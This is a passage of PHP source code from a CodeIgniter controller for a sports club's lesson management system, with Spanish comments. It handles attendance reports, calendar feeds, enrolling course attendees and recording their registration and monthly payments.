$id_user = $alumno['id_user'];
$user_desc = $alumno['user_desc'];
$user_phone = $alumno['user_phone'];
}
}
$data = array (
'id_lesson' => $info['id_lesson'],
'date_lesson' => $info['date_lesson'],
'id_user' => $id_user,
'user_desc' => $user_desc,
'user_phone' => $user_phone,
'asistance' => $hecho,
'observations' => $obs,
);
$this->lessons->addAssistanceReport($data);
}
}
$this->session->set_userdata('info_message', 'Información del curso actualizada correctamente');
} else {
$this->session->set_userdata('error_message', 'Error en la actualización del curso. ');
}
redirect(site_url('lessons/assistance/'.$info['id_lesson']), 'Location');
exit();
}
//print("<pre>");print_r($info);
//$editable = FALSE;
$editable = TRUE;
$recovery = TRUE;
$profesores = $this->usuario->getActiveUsersArray('', 'users.group_id=5');
//print_r($profesores);
$contenido = $this->load->view('lessons/recover_daily_report', array('info' => $info, 'profesores' => $profesores, 'editable' => $editable, 'recovery' => $recovery), true);
$extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>';
$extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
//'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $info['id_lesson']), true)), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
//'form_name' => 'frmDetail',
'main_content' => $contenido,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function datafeed($method, $id = NULL)
{
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
switch ($method) {
case "add":
$ret = $this->calendario->addCalendar($this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime"), $this->input->post("CalendarTitle"), $this->input->post("IsAllDayEvent"));
break;
case "list":
$ret = $this->calendario->listCalendar($this->input->post('showdate'), $this->input->post('viewtype'));
//$ret = $this->calendario->listCalendar('11/3/2010', 'week');
break;
case "update":
$ret = $this->calendario->updateCalendar($this->input->post("calendarId"), $this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime"));
break;
case "remove":
$ret = $this->calendario->removeCalendar( $this->input->post("calendarId"));
break;
case "adddetails":
$st = $this->input->post("stpartdate") . " " . $this->input->post("stparttime");
$et = $this->input->post("etpartdate") . " " . $this->input->post("etparttime");
if(isset($id)){
$all_day = $this->input->post("IsAllDayEvent");
$ret = $this->calendario->updateDetailedCalendar($id, $st, $et,
$this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"),
$this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone"));
}else{
$all_day = $this->input->post("IsAllDayEvent");
$ret = $this->calendario->addDetailedCalendar($st, $et,
$this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"),
$this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone"));
}
break;
}
$this->output->set_header($this->config->item('json_header'));
echo json_encode($ret);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function datafeed_detail($id = NULL)
{
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$ret = $this->calendario->listCalendar($this->input->post('showdate'), $this->input->post('viewtype'), $id);
//$ret = $this->calendario->listCalendar('11/3/2010', 'week');
$this->output->set_header($this->config->item('json_header'));
echo json_encode($ret);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function datafeed_get($method, $id = NULL, $showdate = NULL, $viewtype = NULL, $timezone = NULL)
{
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
switch ($method) {
case "add":
$ret = $this->calendario->addCalendar($this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime"), $this->input->post("CalendarTitle"), $this->input->post("IsAllDayEvent"));
break;
case "list":
$ret = $this->calendario->listCalendar(str_replace('-', '/', $showdate), $viewtype);
//$ret = $this->calendario->listCalendar('11/3/2010', 'week');
break;
case "update":
$ret = $this->calendario->updateCalendar($this->input->post("calendarId"), $this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime"));
break;
case "remove":
$ret = $this->calendario->removeCalendar( $this->input->post("calendarId"));
break;
case "adddetails":
$st = $this->input->post("stpartdate") . " " . $this->input->post("stparttime");
$et = $this->input->post("etpartdate") . " " . $this->input->post("etparttime");
if(isset($id)){
$all_day = $this->input->post("IsAllDayEvent");
$ret = $this->calendario->updateDetailedCalendar($id, $st, $et,
$this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"),
$this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone"));
}else{
$all_day = $this->input->post("IsAllDayEvent");
$ret = $this->calendario->addDetailedCalendar($st, $et,
$this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"),
$this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone"));
}
break;
}
$this->output->set_header($this->config->item('json_header'));
echo json_encode($ret);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function save_assistance($leccion, $id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
if($this->input->post('action')) {
if($this->input->post('action')=="admin_obs") {
//print("<pre>");print_r($_POST);exit();
$obs = $this->input->post('admin_obs');
if($this->lessons->updateAdminCheck($leccion, $id, $obs)) $this->session->set_userdata('info_message', 'Actualización de la informacion realizada');
else $this->session->set_userdata('error_message', 'Error en la actualización de la informacion');
}
}
redirect(site_url('lessons/assistance/'.$leccion), 'Location');
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function detail_save_____($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$this->lessons->id = $id;
$this->lessons->description = $this->input->post('description');
$this->lessons->active = ($this->input->post('active'))? 1 : 0;
$this->lessons->weekday = $this->input->post('weekday');
$this->lessons->start_time = $this->input->post('start_time');
$this->lessons->end_time = $this->input->post('end_time');
$this->lessons->start_date = date($this->config->item('date_db_format'), strtotime($this->input->post('start_date')));
$this->lessons->end_date = date($this->config->item('date_db_format'), strtotime($this->input->post('end_date')));
$this->lessons->id_sport = $this->input->post('id_sport');
$this->lessons->id_court = $this->input->post('id_court');
$this->lessons->id_instructor = $this->input->post('id_instructor');
$this->lessons->max_vacancies = $this->input->post('max_vacancies');
$this->lessons->monthly_payment_day = $this->input->post('monthly_payment_day');
$this->lessons->level = $this->input->post('level');
$this->lessons->gender = $this->input->post('gender');
$maxima_fecha = $this->reservas->get_max_booking_date();
$fecha_actual = $this->lessons->start_date;
//echo $this->lessons->weekday."<br>";
//echo $fecha_actual."<br>";
//echo date( 'w', strtotime($fecha_actual))."<br>";
while( date( 'w', strtotime($fecha_actual)) != $this->lessons->weekday) {
$fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +1days'));
//echo $fecha_actual."<br>";
}
//echo $fecha_actual.'---------------------->';
$fecha_final = $this->lessons->end_date;
$hora_inicio = $this->lessons->start_time;
$hora_fin = $this->lessons->end_time;
$pista = $this->input->post('id_court');
//echo $maxima_fecha.'<br>';
//print($hora_inicio.$hora_fin.$this->lessons->weekday."<pre>");
$valido = 1; $fecha_problematica = '';
while($fecha_actual <= $maxima_fecha && $fecha_actual <= $fecha_final) {
//echo $fecha_actual."<br>";
$hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_inicio));
$this->app_common->get_court_availability($pista, $fecha_actual);
while($hora_actual <= $hora_fin) {
foreach($this->reservas->availability as $disp) {
//echo $disp[0].' - '.$hora_actual.' - '.$disp[1]."<br>";
if($disp[0] == $hora_actual && $disp[1] == '1') {
$valido = 0;
$fecha_problematica = $fecha_actual;
//echo '<b>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br></b>';
}
}
$hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_actual.' +30minutes'));
}
//print_r($this->reservas->availability);
$fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +7days'));
}
//exit($valido);
if($valido) {
if($this->lessons->updateLessons($id)) $this->session->set_userdata('info_message', 'Información del curso actualizada correctamente');
else $this->session->set_userdata('error_message', 'Error en la actualización del curso');
} else {
$this->session->set_userdata('error_message', 'Error en la actualización del curso. Alguna de las reservas necesarias (al menos para el día '.date( $this->config->item('reserve_date_filter_format'), strtotime($fecha_problematica)).') está reservada con otro motivo.');
redirect(site_url('lessons/detail/'.$id), 'Location');
exit();
}
$this->lessons->signin = $this->input->post('signin');
$this->lessons->monthly = $this->input->post('monthly');
$this->lessons->updateLessonsPricesSimple($id);
redirect(site_url('lessons/detail/'.$id), 'Location');
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function add_assistant($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('calendario');
//print_r($_POST);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
$info = $this->calendario->getCalendarByRange($id);
//print("<pre>");print_r($info);
if($this->input->post('action') && $this->input->post('action')=="add") {
$this->lessons->id = $id;
//print_r($_POST);//exit();
$id_user = $this->input->post('id_user');
# Especificaciรณn de fecha de alta para los pagos
$start_date = $this->input->post('start_date');
if(isset($start_date) && $start_date !='') {
$date_temp = explode('-', $start_date);
if(is_array($date_temp)) $start_date = $date_temp[2].'-'.$date_temp[1].'-'.$date_temp[0]; // Convierto dd-mm-yyyy en yyyy--mm-dd
} else $start_date = date( $this->config->item('date_db_format'));
$discount = $this->input->post('discount');
//echo $discount.'<br>';
if($discount > 100) $discount = 100;
if(!isset($discount) || $discount=='' || $discount < 0) $discount = 0;
//echo $discount.'<br>';exit();
if(!isset($id_user) || $id_user=='') $id_user = 0;
$user_desc = $this->input->post('user_desc');
$user_phone = $this->input->post('user_phone');
if($id_user) {
$datos_usuario = $this->usuario->get_user($id_user);
$user_desc = trim($datos_usuario['user_name'].' '.$datos_usuario['user_lastname']);
$user_phone = $datos_usuario['user_phone'];
}
//$paymentway = $this->input->post('paymentway');
$status = "";
/*
if($mode == "waiting") $status = 7;
elseif($mode == "annual") $status = 1;
elseif($mode == "unique") $status = 3;
else $status = 2;
*/
$status = 2;
if($info->current_vacancies <= 0) $status = 7;
if($this->calendario->checkAssistant($id, $id_user, $user_desc)) {
$this->session->set_userdata('error_message', 'El usuario ya está dado de alta en el curso.');
redirect(site_url('lessons/assistants/'.$id), 'Location');
exit();
}
# Si es para la lista de espera o si la cuota de alta es 0 o si, siendo otra, viene con la acciรณn de 'save', osea, ya pagada..
if($this->lessons->addAssistant($id, $status, $id_user, $user_desc, $user_phone, $discount, $start_date)) {
$this->session->set_userdata('info_message', 'Usuario añadido');
# Si el curso no tiene cuota de alta, lo marco como con el alta pagada
if($info->signin == 0) {
if(!isset($start_date)) $start_date = date($this->config->item('log_date_format'));
$this->lessons->signAssitant($id, NULL, $id_user, $user_desc, $start_date);
//exit("aaa");
}
//else exit('bbb');
}
else $this->session->set_userdata('error_message', 'Error añadiendo al usuario');
/*
if(floatval($info->signin) > 0) {
$this->load->model('Payment_model', 'pagos', TRUE);
$this->pagos->id_type=2; //Clases y cursos
$this->pagos->id_element=$this->session->userdata('session_id');
$this->pagos->id_transaction='l-'.$id.'-'.$id_user.'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago
$this->pagos->id_user=$id_user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$paymentway;
$this->pagos->status=9;
$this->pagos->quantity=$info->signin;
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Alta en curso '.$info->description;
$this->pagos->create_user=$this->session->userdata('user_id');
$this->pagos->create_time=date($this->config->item('log_date_format'));
$this->pagos->setPayment();
}
*/
redirect(site_url('lessons/assistants/'.$id), 'Location');
exit();
// Fin del IF que registra el alta
}
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true),
'menu' => $this->load->view('menu', '', true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $this->load->view('lessons/new_assistant', array('id' => $id), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function sign_assistant($id, $user, $method)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
//print_r($_POST);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
$info = $this->calendario->getCalendarByRange($id);
//print("<pre>");print_r($info);
$this->lessons->id = $id;
//print_r($_POST);echo date($this->config->item('log_date_format'), strtotime($sign_date_tmp));exit();
$id_user = $this->input->post('id_user');
if(!isset($id_user) || $id_user=='') $id_user = 0;
$user_desc = $this->input->post('user_desc');
$user_phone = $this->input->post('user_phone');
//$paymentway = $this->input->post('paymentway');
$status = "";
/*
if($mode == "waiting") $status = 7;
elseif($mode == "annual") $status = 1;
elseif($mode == "unique") $status = 3;
else $status = 2;
*/
$status = 2;
if($info->current_vacancies <= '0') $status = 7;
$usuario = $this->calendario->getAssistantInfo($user);
if($usuario->sign_date != '') {
$this->session->set_userdata('error_message', 'El usuario ya pagó la cuota de alta del curso.');
redirect(site_url('lessons/assistants/'.$id), 'Location');
exit();
}
$sign_date_tmp = str_replace('/', '-', $this->input->post('sign_date'));
$sign_date = date($this->config->item('log_date_format'), strtotime($sign_date_tmp)); // Fecha de alta
$this->lessons->signAssitant($id, $user, NULL, NULL, $sign_date);
if(floatval($info->signin) > 0) {
if($usuario->id_user != '' && $usuario->id_user != 0) $user_desc = $usuario->first_name.' '.$usuario->last_name;
else $user_desc = $usuario->user_desc;
$estado = 9;
if($method == 4) $estado = 2;
$this->load->model('Payment_model', 'pagos', TRUE);
$this->pagos->id_type=2; //Clases y cursos
$this->pagos->id_element=$this->session->userdata('session_id');
$this->pagos->id_transaction='l-'.$id.'-'.$usuario->id_user.'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago
$this->pagos->id_user=$usuario->id_user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$method;
$this->pagos->status=$estado;
$this->pagos->quantity=$info->signin;
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description="Alta en curso '".$info->description."'";
$this->pagos->create_user=$this->session->userdata('user_id');
$this->pagos->create_time=date($this->config->item('log_date_format'));
$this->pagos->setPayment();
}
redirect(site_url('lessons/assistants/'.$id), 'Location');
exit();
// Fin del IF que registra el alta
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function subscribe_assistant($curso, $id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$assistant=$this->calendario->getAssistantInfo($id);
$info = $this->calendario->getCalendarByRange($assistant->id_lesson);
$status = 2;
print("<pre>");print_r($assistant);print_r($info);
//exit();
if($info->current_vacancies > 0) {
if($this->lessons->subscribeAssitant($curso, $id)) {
$this->session->set_userdata('info_message', 'Usuario añadido.');
# Si el curso no tiene cuota de alta, lo marco como con el alta pagada
if($info->signin == 0) $this->lessons->signAssitant($id, NULL, $assistant->id_user, $assistant->user_desc);
redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location');
exit();
}
else $this->session->set_userdata('error_message', 'Error añadiendo al usuario');
redirect(site_url('lessons/waiting/'.$assistant->id_lesson), 'Location');
exit();
} else {
$this->session->set_userdata('error_message', 'Curso actualmente lleno.');
redirect(site_url('lessons/waiting/'.$assistant->id_lesson), 'Location');
exit();
}
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function asistant_payment($curso, $id, $paymentway = NULL, $action = NULL, $quantity = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'users', TRUE);
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
print('<pre>');print_r($_POST); //exit();
$assistant=$this->calendario->getAssistantInfo($id);
//print('<pre>');print_r($assistant);
$assistant_info = $this->users->get_user($assistant->id_user);
//print('<pre>');print_r($assistant_info);
$info = $this->calendario->getCalendarByRange($assistant->id_lesson);
//print('<pre>');print_r($info); //exit();
if(!isset($quantity) || $quantity == '') $quantity = 1; // Mensualidades por defecto a pagar
if($info->signin != 0 && $assistant->sign_date == '') {
$this->session->set_userdata('error_message', 'Debe primero pagar la cuota de alta');
redirect(site_url('lessons/assistants/'.$curso), 'Location');
exit();
}
//exit();
/*
if(!isset($assistant->last_day_payed) || $assistant->last_day_payed=="") {
if(date('d', strtotime($assistant->last_day_payed)) >= $info->monthly_payment_day) $last_payd_date = date('Y-m-'.$info->monthly_payment_day, strtotime('+1 month'));
else $last_payd_date = date('Y-m-'.$info->monthly_payment_day);
} else $last_payd_date = date('Y-m-'.$info->monthly_payment_day, strtotime($assistant->last_day_payed.'+1 month'));
*/
//echo $assistant->last_day_payed."<br>";
if($this->input->post('payd_date_tmp') != '') {
//echo '--'.$this->input->post('payd_date_tmp');
$last_payd_date = date($this->config->item('log_date_format'), strtotime($this->input->post('payd_date_tmp')));
//echo '<br>'.$last_payd_date;
//exit();
} else {
//exit('no');
if(!isset($assistant->last_day_payed) || $assistant->last_day_payed=="") {
$ultima_fecha = $assistant->sign_date;
$dia = date('d', strtotime($ultima_fecha));
if($dia < $info->monthly_payment_day) {
$trozos = explode('-', $ultima_fecha);
$last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$info->monthly_payment_day;
} elseif($dia > $info->monthly_payment_day) {
$fecha_siguiente = date($this->config->item('log_date_format'), strtotime($assistant->sign_date.' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency)));
$trozos = explode('-', $fecha_siguiente);
$last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$info->monthly_payment_day;
} else {
$last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant->sign_date.' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency)));
}
//echo "1<br>";
} else {
$last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant->last_day_payed.' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency)));
//echo "2<br>";
}
}
//echo $last_payd_date;
//exit();
# Si es para la lista de espera o si la cuota de alta es 0 o si, siendo otra, viene con la acciรณn de 'save', osea, ya pagada..
if(isset($quantity) && $quantity!=0 && $quantity!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") {
if($this->input->post('payable_quota_tmp')!=0) {
$pay_amount = $this->input->post('payable_quota_tmp') * $quantity;
//echo '<br>'.$this->input->post('payable_quota_tmp');
} else {
$cuota = $this->app_common->getPriceValue($info->price, array('date' => $info->start_date, 'time' => $info->start_time, 'group' => $assistant_info['group_id']));
$pay_amount_tmp = $cuota * $quantity;
if($assistant->discount_type == '%') $pay_amount = $pay_amount_tmp - ($pay_amount_tmp * $assistant->discount / 100);
else $pay_amount = $pay_amount_tmp - $assistant->discount;
}
//exit('<br>'.'cuota:'.$pay_amount);
if($this->lessons->setMonthlyPayment($id, $last_payd_date)) $this->session->set_userdata('info_message', 'Pago hasta el '.date($this->config->item('reserve_date_filter_format'), strtotime($last_payd_date)).' realizado');
else {
$this->session->set_userdata('error_message', 'Error en el pago.');
redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location');
exit();
}
if($assistant->id_user != '' && $assistant->id_user != 0) $user_desc = $assistant->first_name.' '.$assistant->last_name;
else $user_desc = $assistant->user_desc;
$estado = 9;
if($paymentway == 4) $estado = 2;
$this->pagos->id_type=2; //Clases y cursos
$this->pagos->id_element=$this->session->userdata('session_id');
$this->pagos->id_transaction='l-'.$assistant->id_lesson.'-'.$assistant->id_user.'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago
$this->pagos->id_user=$assistant->id_user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway = $paymentway;
$this->pagos->status=$estado;
$this->pagos->quantity = $pay_amount;
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description="Cuota del curso '".$info->description."', hasta el ".date($this->config->item('reserve_date_filter_format'), strtotime($last_payd_date));
$this->pagos->create_user=$this->session->userdata('user_id');
$this->pagos->create_time=date($this->config->item('log_date_format'));
$this->pagos->setPayment();
redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location');
exit();
} else {
$this->session->set_userdata('error_message', 'Error en la información del pago.');
redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location');
exit();
}
// Fin del IF que registra el alta
# Definiciรณn de barra de menus
$menu=array('menu' => $this->app_common->get_menu_options());
# Pantalla de pago de la cuota de alta
$contenido = $this->load->view('lessons/monthly_payment', array('info' => $info, 'id' => $id, 'id_user' => $assistant->id_user, 'user_desc' => $assistant->user_desc, 'user_phone' => $assistant->user_phone, 'funcion_destino' => 'asistant_payment', 'last_day_payed' => $assistant->last_day_payed, 'next_day_payed' => $last_payd_date), true);
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmDetail',
'main_content' => $contenido,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function unsubscribe_assistant($lesson, $id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$motivo_baja = $this->input->post('unsubscription_reason');
//echo $motivo_baja; print_r($_POST); exit();
if($this->lessons->unsubscribeAssitant($lesson, $id, $motivo_baja)) $this->session->set_userdata('info_message', 'Usuario eliminado');
else $this->session->set_userdata('error_message', 'Error eliminando al usuario');
redirect(site_url('lessons/assistants/'.$lesson), 'Location');
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funciรณn que nos redirige al detalle del curso de un 'assistant' dado por su 'id'
# -------------------------------------------------------------------
function assistant_redirect($id_assistant)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
$usuario = $this->calendario->getAssistantInfo($id_assistant);
redirect(site_url('lessons/detail/'.$usuario->id_lesson), 'Location');
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que muestra un resumen de un curso
# -------------------------------------------------------------------
function tooltip_info($id = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
if(isset($id) && trim($id) != "") {
$info=$this->calendario->getCalendarByRange($id);
//print_r($info);
//exit();
if(isset($info)) $this->load->view('lessons/tooltip_info', array('info' => $info, 'buttons' => FALSE));
else echo 'Información no disponible';
//$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>';
}
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que muestra un resumen de info de asistente a un curso
# -------------------------------------------------------------------
function tooltip_assistant_info($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
if(isset($id) && trim($id) != "") {
$assistant=$this->calendario->getAssistantInfo($id);
$info=$this->calendario->getCalendarByRange($assistant->id_lesson);
//print_r($info);
//exit();
if(isset($info)) $this->load->view('lessons/tooltip_assistant_info', array('asistente' => $assistant, 'info' => $info));
else echo 'Información no disponible';
//$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>';
}
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Redirijo al perfil de usuario del asistente a un curso seleccionado
# -------------------------------------------------------------------
function asistant_info($curso, $id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'users', TRUE);
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$assistant=$this->calendario->getAssistantInfo($id);
//print_r($assistant);exit();
//$this->session->set_userdata('returnUrl', site_url('lessons/assistants/'.$id));
if(isset($assistant) && is_object($assistant)) redirect(site_url('users/detail/'.$assistant->id_user), 'Location');
else {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url('lessons/assistants/'.$curso), 'Location');
}
exit();
}
}
/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */```
users.php
```<?php
class Users extends Controller {
function Users()
{
parent::Controller();
$this->load->helper('flexigrid');
$this->load->library('flexigrid');
}
function index( $option = NULL, $export = NULL)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
